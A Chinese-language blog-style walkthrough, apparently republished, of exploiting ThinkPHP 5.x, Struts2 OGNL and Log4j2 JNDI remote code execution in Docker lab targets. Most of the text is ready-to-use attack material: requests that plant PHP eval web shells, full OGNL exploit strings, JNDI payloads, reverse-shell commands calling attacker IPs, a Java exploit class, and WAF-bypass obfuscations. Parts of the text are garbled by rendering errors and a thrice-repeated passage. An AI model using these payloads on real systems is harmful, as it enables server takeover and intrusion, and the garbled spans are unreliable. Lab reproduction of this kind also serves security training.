一、Thinkphp5.0.23 代码执行
1.thinkphp5框架
2.thinkphp5高危漏洞
根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
3.漏洞特征
4.THinkphp5.0 远程代码执行–poc
Windows:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC参数解析
method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
filter[]=system 覆盖变量
get[]=whoami 覆盖变量
_method=__construct 为了能够进入construct,从而覆盖变量
5.TP5实验一(Windows5.0.20)
a.搭建实验环境
_method=__construct&filter[]=system&method=get&get[]=whoami
b.测试phpinfo
利用system函数远程命令执行,通过phpinfo函数查看phpinfo()的信息;
写入phpinfo();
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo “<?php phpinfo(); ?>” > 1.php
c.写入shell
查看是否成功的写入shell
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
d.使用菜刀连接
6.TP5实验二(Linux5.0.23)
a.搭建实验环境
cd ~5-rce
docker-compose up -d拉取靶场
b.测试方法
_method=__construct&filter[]=system&method=get&get[]=id
TP5的验证码在/vendor/topthink/think-captcha 目录下,文件分别是Captcha.php 、CaptchaController.php 和helper.php 三个文件。可以直接通过http://localhost/项目名称/public/index.php/captcha 来进行访问。
_method=__construct&filter[]=system&method=get&get[]=pwd
_method=__construct&filter[]=system&method=get&get[]=whoami
c.测试phpinfo
_method=__construct&filter[]=system&method=get&get[]=echo “<?php phpinfo(); ?>” > 1.php
Linux5.0.20测试方法
http://192.168.25.174:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`
d.写入shell
_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval($_POST["fname"]);?>” >shell.php
可以看出shell.php已经上传成功
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval(
P
O
S
T
[
c
m
d
]
)
;
?
>
>
s
h
e
l
l
.
p
h
p
发现
_POST[cmd]);?^> >shell.php 发现
POST[cmd]);?>>shell.php发现_POST被删除了,引号也没了
如下改动后解决问题
_method=__construct&filter[]=system&method=get&get[]=echo “<?php @eval(\$_POST['fname']);?>” >shell.php
e.反弹shell
方法一
控制端输入
nc -lvvp 6666
被控端输入
nc -c /bin/bash 192.168.25.174 6666
控制端得到shell,此处执行ls命令
方法二
攻击机开启2个终端
分别输入nc -lvvp 2333和nc -lvvp 3333,一个输入一个输出
被攻击机输入
nc 192.168.25.174 2333 | /bin/bash | nc 192.168.25.174 3333
然后nc -lvvp 2333里执行命令ls,可以看到nc -lvvp 3333收到返回结果
方法三
首先本机创建文件shell.sh,放到本机WWW根目录
bash -i >& /dev/tcp/192.168.33.2/1111 0>&1
cmd下开启两个终端
nc.exe -lvvp 2333 -e cmd.exe用于监听输入
nc -lvp 1111用于获取输出
然后网页里输入
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.33.2/shell.sh|bash
执行后即可在本机获取shell,此处是ls的查询结果
7.任务:靶场thinkphp漏洞复现
https://vulhub.org/#/environments/
tp5 poc参考大全
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
二、Struts2远程代码执行
1.漏洞介绍
Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。
2.Struts2执行代码的原理
Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。
struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。
3.Struts2框架特征
查看被测应用系统的源码,URL接口地址以“.action”“.do”结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2..**.jar或xwork-core-2..**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。
4.S2-029漏洞复现(实验)
原理:Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
在Struts2中,如下的标签就调用了OGNL进行取值。
parameters:
Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。 影响版本:Struts 2.0.0 -2.3.24.1(不包括2.3.20.3) 复现步骤: ### 1)拉取漏洞环境镜像到本地 命令:docker pull medicean/vulapps:s_struts2_s2-0292)启动漏洞环境
命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029
3)访问http://192.168.25.174:8080/default.action
4)利用方法
方法一:工具利用
LiqunKit_1.5.jar
反弹shell
方法二:手工利用
poc:
(%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))
注意:有些利用的时候要记得url编码
5)复现任务
S2-61
先切换到vulhub指定目录,记得清理占用
docker-compose up -d拉取镜像
使用dnslog进行请求,发现存在回显,说明存在漏洞
POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“ping dnslog的域名”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
需先将GET改成POST,然后在下面添加
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”
和poc
POC:%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“id”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
S2-45
docker-compose up -d
下载路径/var/lib/docker/overlay2
S2-46
三、log4j2远程代码执行
1.漏洞介绍
log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件。log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
影响版本
Log4j2.x<=2.14.1
2.LDAP和JNDI
LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库
LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名
JNDI :JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。
3.漏洞原理
我们在很多漏洞复现文章看到构造的payload是这样的 j n d i : l d a p : / / x x x . x x x . x x x . x x x : 1389 / E x p , 该漏洞是由于 A p a c h e L o g 4 j 2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 L o g 4 j 2 组件在处理程序日志记录时存在 J N D I 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 L o g 4 j 2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 L o g 4 j 2 漏洞总的来说就是:因为 L o g 4 j 2 默认支持解析 l d a p / r m i 协议(只要打印的日志中包括 l d a p / r m i 协议即可),并会通过名称从 l d a p 服务端其获取对应的 C l a s s 文件,并使用 C l a s s L o a d e r 在本地加载 L d a p 服务端返回的 C l a s s 类。 A p a c h e L o g 4 j 远程代码执行漏洞,正是由于组件存在 J a v a J N D I 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 A p a c h e L o g 4 j 2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用 j n d i 访问 l d a p 服务后, l d a p 服务返回了 c l a s s 攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了 L o g 4 j 2 可以对日志中的“ {jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}, 该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。 Apache Log4j 远程代码执行漏洞,正是由于组件存在Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。 远程代码执行漏洞,是利用了Log4j2可以对日志中的“ jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp,该漏洞是由于ApacheLog4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。ApacheLog4j远程代码执行漏洞,正是由于组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了Log4j2可以对日志中的“{}”进行解析执行,来进行攻击的。
4.*log4j2-漏洞复现(实验)
1)拉取docker环境
docker pull vulfocus/log4j2-rce-2021-12-09
2)启动环境-查看镜像
docker images
3)启动并端口映射
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
4)测试步骤
1)正常来测试,发现这里主要对{}产生过滤。
2)将payload进行url编码。
生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。
/hello?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}显示400,即错误的请求。
回到DNSLog页面刷新Refresh Record 便能查询道靶机递归查询日志的记录。
Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广
5.4.log4j2-漏洞验证(实验)
1)拉取docker环境
docker pull vulfocus/log4j2-rce-2021-12-09
2)启动环境-查看镜像
docker images
3)启动并端口映射
docker run -tid -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
点击链接后
4)测试步骤
1)正常来测试,发现这里主要对{}产生过滤。
2)将payload进行url编码。
生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。
需进行URL编码
http://192.168.25.174:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F42kopn.dnslog.cn%2Fexp%7D
执行后dnslog收到数据
Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广
5.log4j2-漏洞利用(实验)
利用JNDI注入工具在攻击机上开启JNDI服务器
攻击机IP:192.168.33.2
被攻击机IP:192.168.25.174
1)准备JNDI注入工具
git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
2)准备shell代码
利用JNDI注入反弹shell,并将命令进行base64编码,不然可能会报错
bash -i >& /dev/tcp/攻击主机IP/端口 0>&1
3)攻击机启动监听用于获取shell
nc -lvp 1111
4)启动JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码后的shell}|{base64,-d}|{bash,-i}” -A 攻击主机IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjIvMTExMSAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.33.2
注释:-C是执行的bash命令,后面是执行的具体命令,用双引号引起来-A 指服务器的IP
因为JDK版本的问题,我们选择的链接是rmi://192.168.33.2:1099/uimfib
注意:这个链接每次运行JNDI-Injection-Exploit 时都会变化
5)传递payload
打开浏览器,用get传递payload,payload=${jndi:rmi://192.168.33.2:1099/uimfib}
进行URL编码为payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.33.2%3A1099%2Fuimfib%7D
6)JNDI接收请求
7)反弹shell
可以看出已经成功反弹shell
8)关于Exception in thread “Thread-1” java.lang.IllegalAccessError报错原因
原因是jdk版本太高
重装JDK1.8后得以解决问题
6.CVE-2021-44228 log4j漏洞复现(class方式)
1)拉取docker环境
docker-compose up -d
装完后可以看出端口是8983
2)验证漏洞
开启dnslog看能不能收到回显
http://192.168.25.128:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.20r5vy.dnslog.cn}
可以看到输出了java版本1.8.102,验证漏洞成功
3)准备shell代码
bash -i >& /dev/tcp/192.168.155.2/7777 0>&1
Base64编码后:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzc3NzcgMD4mMQ==
带入
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
4)准备恶意文件
Exploit2.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
使用javac编译生成class文件
5)开启http服务
切换到Exploit2.class所在路径
cd C:\Users\Administrator\IdeaProjects\hello\target\classes
python -m http.server 4444
打开网页验证下
可以看到4444端口可以访问到我们准备的恶意文件
6)开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.155.2:4444/#Exploit2” 1389
7)开启shell反弹监听
nc -lvvp 7777
8)网页运行payload
${jndi:ldap://192.168.155.2:1389/Exploit2}
运行后得到反弹shell
文章来源:https://www.toymoban.com/news/detail-683044.html
7.log4j漏洞防护
1.升级最新版本的log4j组件
2.临时处理,过滤${},避免被执行命令
8.poc
${jndi:ldap://xxx.dnslog.cn/poc}
waf绕过
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}
:
:
−
n
{::-n}
::−n{::-d}
:
:
−
i
:
{::-i}:
::−i:{::-r}
:
:
−
m
{::-m}
::−m{::-i}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}😒{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}̲:{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j}
l
o
w
e
r
:
n
{lower:n}
lower:n{lower:d}i:${lower:rmi}😕/xxx.dnslog.cn/poc}文章来源地址https://www.toymoban.com/news/detail-683044.html
到了这里,关于热门框架漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!